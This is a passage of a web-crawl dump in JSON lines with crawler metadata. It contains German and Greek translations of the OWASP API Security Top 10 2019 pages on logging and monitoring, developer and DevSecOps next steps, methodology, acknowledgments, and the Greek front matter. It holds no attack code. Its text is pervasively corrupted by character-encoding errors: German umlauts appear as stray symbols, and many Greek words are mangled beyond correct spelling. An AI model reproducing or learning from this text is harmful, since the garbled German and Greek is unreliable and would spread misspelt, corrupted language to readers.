aus, um Systeme unbemerkt zu missbrauchen. | Ohne Protokollierung und Überwachung oder mit unzureichender Protokollierung und Überwachung ist es fast unmĂśglich, verdächtige Aktivitäten zu verfolgen und rechtzeitig darauf zu reagieren. | Ohne Einblick in laufende bĂśsartige Aktivitäten haben Angreifer genĂźgend Zeit, um Systeme vollständig zu kompromittieren. |\n\n## Ist die API angreifbar?\n\nDie API ist angreifbar, wenn:\n\n- Sie keine keine Protokolle erzeugt, die Protokollierungsstufe nicht korrekt eingestellt ist oder die Protokoll Nachrichten nicht genĂźgend Details enthalten.\n- Die Integrität der Protokolle nicht gewährleistet ist(z. B. [Log Injection](https://www.owasp.org/index.php/Log_Injection) ).\n- Die Protokolle nicht kontinuierlich Ăźberwacht werden.\n- Die API-Infrastruktur nicht kontinuierlich Ăźberwacht wird.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nDie ZugriffsschlĂźssel einer administrativen API wurden in einem Ăśffentlichen Repository verĂśffentlicht. Der\nRepository-EigentĂźmer wurde per E-Mail Ăźber das mĂśgliche Datenleck informiert, brauchte aber mehr als\n48 Stunden, um auf den Vorfall zu reagieren. Die VerĂśffentlichung der ZugangsschlĂźssel hat eventuell\nZugang zu sensiblen Daten ermĂśglicht. Aufgrund der unzureichenden Protokollierung kann das Unternehmen nicht beurteilen, auf welche Daten zugegriffen wurde.\n\n### Szenario #2\n\nEine Video-Sharing-Plattform wurde von einem \"groß angelegten\" Credential Stuffing-Angriff getroffen.\nObwohl fehlgeschlagene Anmeldungen protokolliert wurden, wurde in der Zeitspanne des Angriffs kein Alarm ausgelĂśst.\nAls Reaktion auf Nutzerbeschwerden wurden die API-Protokolle analysiert und der Angriff wurde entdeckt. Das Unternehmen musste eine Ăśffentliche AnkĂźndigung machen, in der es die Nutzer aufforderte ihre PasswĂśrter zurĂźckzusetzen. Außerdem musste das Unternehmen den Vorfall den AufsichtsbehĂśrden melden.\n\n## Vorbeugende Maßnahmen\n\n- Protokollieren Sie alle fehlgeschlagenen Authentifizierungsversuche, verweigerten Zugriff und Eingabevalidierungsfehler.\n- Die Protokolle sollten in einem Format geschrieben werden, das von einer Log-Management-LĂśsung verarbeitet werden kann, und sie sollten genĂźgend Details enthalten, um den Angreifer zu identifizieren.\n- Protokolle sollten als sensible Daten behandelt werden, und ihre Integrität sollte stets gewährleistet sein.\n- Konfigurieren Sie ein Überwachungssystem zur kontinuierlichen Überwachung der Infrastruktur, des Netzwerks und der Funktionsweise der API.\n- Verwenden Sie ein Security Information and Event Management (SIEM), um Protokolle aller Komponenten der API und der Hosts zu sammeln und zu verwalten.\n- Konfigurieren Sie benutzerdefinierte Dashboards und Warnmeldungen, um verdächtige Aktivitäten zu erkennen und darauf reagieren zu kĂśnnen.\n\n## Referenzen\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Externe Quellen\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3682, "slov": 408, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:46", "sha256": "e69b102be03cc3962e0e96a19a440e427b54421257441b22fd32769c703c122c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xb0-next-devs/", "titulek": "Was kommt als Nächstes fĂźr Entwickler? - OWASP API Security Top 10", "h1": "Was kommt als Nächstes fĂźr Entwickler?", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xb0-next-devs/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Was kommt als Nächstes fĂźr Entwickler?"}], "markdown": "# Was kommt als Nächstes fĂźr Entwickler?\n\nDie Aufgabe, sichere Software zu erstellen und zu pflegen oder bestehende Software zu reparieren, kann\nschwierig sein. Bei APIs ist das nicht anders.\n\nWir glauben, dass Fortbildung und Bewusstsein die SchlĂźsselfaktoren fĂźr das Schreiben sicherer\nSoftware sind. Alles andere, was erforderlich ist, um das Ziel zu erreichen, hängt ab von\n**EinfĂźhrung und Verwendung von wiederholbaren Sicherheitsprozessen und standardisierten Sicherheitskontrollen**.\n\nOWASP hat seit Beginn des Projekts zahlreiche freie und offene Ressourcen zum Thema Sicherheit\nvorgestellt. Bitte besuchen Sie die [OWASP-Projektseite](https://www.owasp.org/index.php/Category:OWASP_Project) fĂźr eine umfassende Liste der verfĂźgbaren Projekte.\n\n| | |\n| --- | --- |\n| **Bildung** | Sie kĂśnnen je nach Beruf und Interesse mit dem Lesen von [OWASP Education Project materials](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) beginnen. FĂźr praktisches Lernen haben wir **crAPI** - **C**ompletely **R**idiculous **API** auf [unsere Roadmap](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map) gesetzt. In der Zwischenzeit kĂśnnen Sie WebAppSec mit dem [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi) Ăźben, einem verwundbaren WebApp- und API-Service, der Benutzern beibringen soll, wie man moderne Webanwendungen und APIs auf Sicherheitsprobleme testet und wie man in Zukunft sicherere APIs schreibt. Sie kĂśnnen auch an den Schulungssitzungen der [OWASP AppSec Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) teilnehmen oder [Ihrem lokalen Verband beitreten](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Sicherheitsanforderungen** | Sicherheit sollte von Anfang an Teil eines jeden Projekts sein. Bei der Anforderungserhebung ist es wichtig zu definieren, was \"sicher\" fĂźr dieses Projekt bedeutet. OWASP empfiehlt, den [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) als Leitfaden fĂźr die Festlegung der Sicherheitsanforderungen zu verwenden. Wenn Sie ein Projekt auslagern, sollten Sie den [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex) verwenden, der entsprechend den lokalen Gesetzen und Vorschriften angepasst werden sollte. |\n| **Sicherheitsarchitektur** | Sicherheit sollte während aller Projektphasen ein Thema bleiben. Die [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) sind ein guter Ausgangspunkt fĂźr Anleitungen, wie man Sicherheit schon in der Architekturphase einplant. Unter vielen anderen finden Sie das [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) und das [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Standard-Sicherheitskontrollen** | Die Übernahme von Standard-Sicherheitskontrollen verringert das Risiko, beim Schreiben Ihrer eigenen Logik SicherheitslĂźcken einzufĂźhren. Trotz der Tatsache, dass viele moderne Frameworks mittlerweile Ăźber eingebaute effektive Standardkontrollen verfĂźgen, gibt [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) einen guten Überblick darĂźber, welche Sicherheitskontrollen Sie in Ihr Projekt einbauen sollten. OWASP stellt auch einige Bibliotheken und Tools zur VerfĂźgung, die fĂźr Sie nĂźtzlich sein kĂśnnen, wie z.B. Validierungskontrollen. |\n| **Secure Software Development Life Cycle** | Sie kĂśnnen das [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) verwenden, um den Prozess bei der Erstellung von APIs zu verbessern. Mehrere andere OWASP-Projekte stehen zur VerfĂźgung, um Sie in den verschiedenen Phasen der API-Entwicklung zu unterstĂźtzen, z. B. das [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 4051, "slov": 409, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:56", "sha256": "2ce350db83e39f2016e68323a783f156bd6222904816935d1716b41ce917512f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xb1-next-devsecops/", "titulek": "Was kommt als Nächstes fĂźr DevSecOps? - OWASP API Security Top 10", "h1": "Was kommt als Nächstes fĂźr DevSecOps?", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xb1-next-devsecops/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Was kommt als Nächstes fĂźr DevSecOps?"}], "markdown": "# Was kommt als Nächstes fĂźr DevSecOps?\n\nAufgrund ihrer Bedeutung in modernen Anwendungsarchitekturen ist der Aufbau sicherer\nAPIs von entscheidender Bedeutung. Die Sicherheit darf nicht vernachlässigt werden und sollte Teil des\ngesamten Entwicklungslebenszyklus sein. Jährliches Scannen und Penetrationstests sind nicht länger ausreichend.\n\nDevSecOps sollte die Entwicklung begleiten und kontinuierliche Sicherheitstests Ăźber den gesamten Lebenszyklus der Softwareentwicklung hinweg durchfĂźhren. Ihr Ziel ist es die Entwicklungspipeline durch Sicherheitsautomatisierung zu verbessern, ohne die\nGeschwindigkeit der Entwicklung zu beeinträchtigen.\n\nIm Zweifelsfall sollten Sie auf dem Laufenden bleiben und das [DevSecOps Manifesto](https://www.devsecops.org/) lesen.\n\n| | |\n| --- | --- |\n| **Verstehen Sie das Bedrohungsmodell** | Testprioritäten ergeben sich aus einem Bedrohungsmodell. Wenn Sie keins haben, kĂśnnen Sie den [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) und die [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) als Grundlage verwenden. Die Einbeziehung des Entwicklungsteams kann helfen, das Sicherheitsbewusstsein zu stärken. |\n| **Verstehen Sie den SDLC** | Nehmen Sie am Entwicklungsteam teil, um den Software Development Life Cycle besser zu verstehen. Ihr Beitrag zu kontinuierlichen Sicherheitstests sollte mit Menschen, Prozessen und Werkzeugen kompatibel sein. Jeder sollte mit dem Prozess einverstanden sein, so dass es keine unnĂśtigen Reibungen oder Widerstände gibt. |\n| **Teststrategien** | Da Ihre Arbeit die Entwicklungsgeschwindigkeit nicht beeinträchtigen sollte, sollten Sie mit Bedacht die beste (einfachste, schnellste, genaueste) Technik zur ÜberprĂźfung der Sicherheitsanforderungen wählen. Das [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) und der [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) kĂśnnen gute Quellen fĂźr funktionale und nichtfunktionale Sicherheitsanforderungen sein. Es gibt weitere hervorragende Quellen fĂźr [Projekte](http://devsecops.github.io/) und [Tools](https://github.com/devsecops/awesome-devsecops), ähnlich wie die von der [DevSecOps-Community](http://devsecops.org) angebotenen. |\n| **Erreichen von Abdeckung und Genauigkeit** | Sie sind die BrĂźcke zwischen den Entwicklern und den Betriebsteams. Um eine gute Abdeckung zu erreichen, sollten Sie sich nicht nur auf die Funktionalität, sondern auch auf die Orchestrierung konzentrieren. Arbeiten Sie von Anfang an eng mit den Entwicklungs- und Betriebsteams zusammen, damit Sie Ihre Zeit und Ihren Aufwand optimieren kĂśnnen. Sie sollten einen Zustand anstreben, in dem die wesentliche Sicherheit kontinuierlich ĂźberprĂźft wird. |\n| **Klare Kommunikation der gefundenen Schwachstellen** | Tragen Sie mit weniger oder gar keinen Reibungsverlusten zur WertschĂśpfung bei. Stellen Sie die Ergebnisse zeitnah mit den von den Entwicklungsteams verwendeten Tools bereit (keine PDF-Dateien). Arbeiten Sie mit dem Entwicklungsteam zusammen, um die Schwachstellen zu besprechen. Nutzen Sie die Gelegenheit, sie aufzuklären, indem Sie die Schwachstelle klar beschreiben und erläutern, wie sie missbraucht werden kann, einschließlich eines Angriffsszenarios, um es realistisch zu machen. |", "znaku_textu": 3457, "slov": 377, "odkazu": 160, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:05", "sha256": "b39198c5985ec36cf8d3d73bdc8868a213b2b0870fef4f4189657adf91809e33", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xd0-about-data/", "titulek": "Methodik und Daten - OWASP API Security Top 10", "h1": "Methodik und Daten", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xd0-about-data/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Methodik und Daten"}, {"uroven": 2, "text": "Überblick"}, {"uroven": 2, "text": "Methodik"}], "markdown": "# Methodik und Daten\n\n## Überblick\n\nDie AppSec-Branche hatte sich bisher nicht speziell auf die neueste Architektur von Anwendungen, in denen APIs eine wichtige Rolle spielen fokusiert. Deshalb wäre eine\nListe der zehn kritischsten API-Sicherheitsrisiken auf der Grundlage eines Ăśffentlichen Datenaufrufs zu erstellen, eine schwierige Aufgabe gewesen. Obwohl es keinen Ăśffentlichen Datenaufruf gab, basiert die\nTop-10-Liste auf Ăśffentlich verfĂźgbaren Daten, Beiträgen von Sicherheitsexperten und offene Diskussionen mit der Community.\n\n## Methodik\n\nIn der ersten Phase wurden Ăśffentlich verfĂźgbare Daten Ăźber Sicherheitsvorfälle mit APIs\nvon einer Gruppe von Sicherheitsexperten gesammelt, geprĂźft und kategorisiert. Solche\nDaten wurden innerhalb eines Zeitraums von einem Jahr von Bug Bounty-Plattformen und Schwachstellendatenbanken gesammelt. Sie wurden fĂźr statistische Zwecke verwendet.\n\nIn der nächsten Phase wurden Sicherheitsexperten mit Erfahrung in Penetrationstests\ngebeten, ihre eigene Top-10-Liste zusammenzustellen.\n\nZur DurchfĂźhrung der Risikoanalyse wurde die [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) verwendet. Die\nBewertungen wurden von den Sicherheitsexperten diskutiert und ĂźberprĂźft. FĂźr\nÜberlegungen zu diesen Themen finden Sie im Abschnitt [API-Sicherheitsrisiken](../0x10-api-security-risks/).\n\nDer erste Entwurf der OWASP API Security Top 10 2019 entstand aus einem Konsens zwischen den statistischen Ergebnissen aus Phase eins und den Listen der Sicherheitsexperten. Dieser Entwurf wurde dann einer weiteren Gruppe von Sicherheitsexperten mit einschlägiger Erfahrung im Bereich der API-Sicherheit\nweitergeleitet.\n\nDie OWASP API Security Top 10 2019 wurde erstmals auf der OWASP Global AppSec Tel Aviv Veranstaltung (Mai 2019) vorgestellt. Seitdem steht sie auf GitHub fĂźr Ăśffentliche Diskussionen und Beiträge zur VerfĂźgung.\n\nDie Liste der Mitwirkenden ist im Abschnitt [Acknowledgments](../0xd1-acknowledgments/) verfĂźgbar.", "znaku_textu": 2014, "slov": 252, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:14", "sha256": "615246b5d0446220b7ec6ec4ec06eca0fd20e1d9c11c8f9ee83f8bcea10c4493", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xd1-acknowledgments/", "titulek": "Danksagungen - OWASP API Security Top 10", "h1": "Danksagungen", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xd1-acknowledgments/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Danksagungen"}, {"uroven": 2, "text": "Danksagungen an einzelne Mitwirkende"}], "markdown": "# Danksagungen\n\n## Danksagungen an einzelne Mitwirkende\n\nWir mĂśchten uns bei den folgenden Personen bedanken, die Ăśffentlich auf GitHub\noder Ăźber andere Wege zu diesem Projekt beigetragen haben:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123\n- Nick Lorenz\n- Moritz Gruber\n- Tim Barsch (domai-tb)\n- Steffen Thamm", "znaku_textu": 668, "slov": 78, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:23", "sha256": "37d7d99b8925b0b4cdcd881ee9cf216090a4c1d0211d453a4bfb87d939ce92ee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 683944, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:26", "sha256": "232e653dbe0c101c4130760d700d766c6986156843a729033ab7eb6f743f3508", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019 στα Ελληνικά", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-header/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019 στα Ελληνικά"}], "markdown": "# OWASP API Security Top 10 2019 στα Ελληνικά\n\nΤι 10 Κορυφαία Υίσκι Ασφαλείας API - Ελληνική μετάφραση του \"The Ten Most Critical API Security Risks\"\n\n30/6/2022\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | Η παρούσα ξργισίι διατίθεται υπό την ΏδξΚι [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 427, "slov": 43, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:59", "sha256": "b0afa2bda12442355a199b28e0e090034001e80ac3c879ddc474baf1d41dd9b0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-notice/", "titulek": "Σημείωση - OWASP API Security Top 10", "h1": "Σημείωση", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-notice/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Σημείωση"}], "markdown": "# Σημείωση\n\nΤο παρών ξίνιΚ Ρ έκδοσΡ κειμένου του OWASP API Security Top 10 που χρησιμοποιείται σιν πηγή \nγΚι την επίσημη έκδοσΡ κιΚ διατίθεται σιν Portable Document Format (PDF).\n\nΟποιαδήποτε συνεισφορά στην ξργισίι όπως σχόλια, διορθώσεις, ÎŽ μεταφράσεις \nθι πρέπει νι γίνονται εδώ. Για περισσότερες πληροφορίες γΚι το Πως νι συνεισφέρετε, \nπαρακαλώ δείτε το CONTRIBUTING.md.\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 643, "slov": 61, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:22", "sha256": "bff8ff90878f41a96db21e50877a410ae1568b329747849ec93d1bea7a4cddd8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-toc/", "titulek": "Πίνακας Περιεχομένων - OWASP API Security Top 10", "h1": "Πίνακας Περιεχομένων", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x00-toc/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Πίνακας Περιεχομένων"}], "markdown": "# Πίνακας Περιεχομένων\n\n- [Πίνακας Περιεχομένων](./)\n- [Σχετικά Οξ το OWASP](../0x01-about-owasp/)\n- [Πρόλογος](../0x02-foreword/)\n- [Εισαγωγή](../0x03-introduction/)\n- [Σημειώσεις Έκδοσης](../0x04-release-notes/)\n- [Υίσκι Ασφαλείας API](../0x10-api-security-risks/)\n- [OWASP Τι 10 Κορυφαία Υίσκι Ασφαλείας API – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [Επόμενα Βήματα γΚι Προγραμματιστές](../0xb0-next-devs/)\n- [Επόμενα Βήματα γΚι DevSecOps](../0xb1-next-devsecops/)\n- [Μεθοδολογία κιΚ Δεδομένα](../0xd0-about-data/)\n- [Ευχαριστίες](../0xd1-acknowledgments/)", "znaku_textu": 1496, "slov": 134, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:31", "sha256": "3e618465cf691e26db51a30980a1cbe46665f07dec7c8b6ffc5b7ea965d45cea", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x01-about-owasp/", "titulek": "Σχετικά Οξ το OWASP - OWASP API Security Top 10", "h1": "Σχετικά Οξ το OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x01-about-owasp/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Σχετικά Οξ το OWASP"}, {"uroven": 2, "text": "Copyright κιΚ Άδεια"}], "markdown": "# Σχετικά Οξ το OWASP\n\nΤο OWASP (Open Web Application Security Project) ξίνιΚ ΟΚι ανοιχτή κοινότητα\nπου αποσκοπεί στο νι βοΡθΎσξΚ οργανισμούς νι παράγουν, νι προμηθεύονται κιΚ \nνι συντηρούν εφαρμογές κιΚ API που θι ξίνιΚ ασφαλή.\n\nΣτο OWASP θι βρείτε δωρεάν δΚιθέσΚΟι κιΚ ελεύθερα προσβάσιμα σξ όλους τα παρακάτω:\n\n- Εργαλεία ασφαλείας εφαρμογών καθώς κιΚ πρότυπα ασφαλείας (standards).\n- Ολόκληρα βΚβΝίι γΚι testing ασφαλείας εφαρμογών, ανάπτυξη ασφαλούς κώδικα, κιΚ \nελέγχου (review) ασφαλούς κώδικα.\n- Παρουσιάσεις κιΚ [βίντεο](https://www.youtube.com/user/OWASPGLOBAL) .\n- [ΣκονΏκΚι](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) (cheatsheets) σξ πολλά συνήθη θέματα.\n- Standard ελέγχους ασφαλείας κιΚ βιβλιοθήκες.\n- [Τοπικά chapters σξ όλο τον κόσμο](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Κορυφαίες έρευνες.\n- [Συνέδρια σξ όλο τον κόσμο](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Λίστες ταχυδρομείοĎ](https://lists.owasp.org/mailman/listinfo) .\n\nΜάθετε περισσότερα στο: [https://www.owasp.org](https://www.owasp.org).\n\nΌλα τα ξργιΝξίι, έγγραφα, βίντεο, παρουσιάσεις κιΚ παραρτήματα (chapters) του OWASP ξίνιΚ δωρεάν δΚιθέσΚΟι κιΚ ελεύθερα προσβάσιμα σξ όλους όσους ενδιαφέρονται νι βελτιώσουν την ασφάλεια των εφαρμογών τους.\n\nΠροσεγγίζουμε την ασφάλεια εφαρμογών ως ένι πρόβλημα ανθρώπων, \nδιεργασιών κιΚ τεχνολογίας, καθώς οΚ πιο αποτελεσματικές προσεγγίσεις \nστο πρόβλημα απαιτούν βελτιώσεις στους παραπάνω τομείς.\n\nΤο OWASP ξίνιΚ ένι νέο είδος οργανισμού. Η ανεξαρτησία μας από τυχόν εμπορικές πιέσεις\nμας επιτρέπει νι παρέχουμε αμερόληπτες, πρακτικές κιΚ οΚκονοΟΚκΏ αποδοτικές \nπληροφορίες σχετικά Οξ την ασφάλεια εφαρμογών.\n\nΤο OWASP δξν ξίνιΚ συνδεδεμένο Οξ κιΟίι εταιρεία τεχνολογίας. Παρόλα αυτά υποστηρίζουμε την\nσωστή χρήση της εμπορικής τεχνολογίας ασφαλείας. Το OWASP παράγει υλικό Οξ \nσυλλογικό, διαφανή κιΚ ανοιχτό τρόπο.\n\nΤο Ίδρυμα OWASP ξίνιΚ Ρ ΟΡ 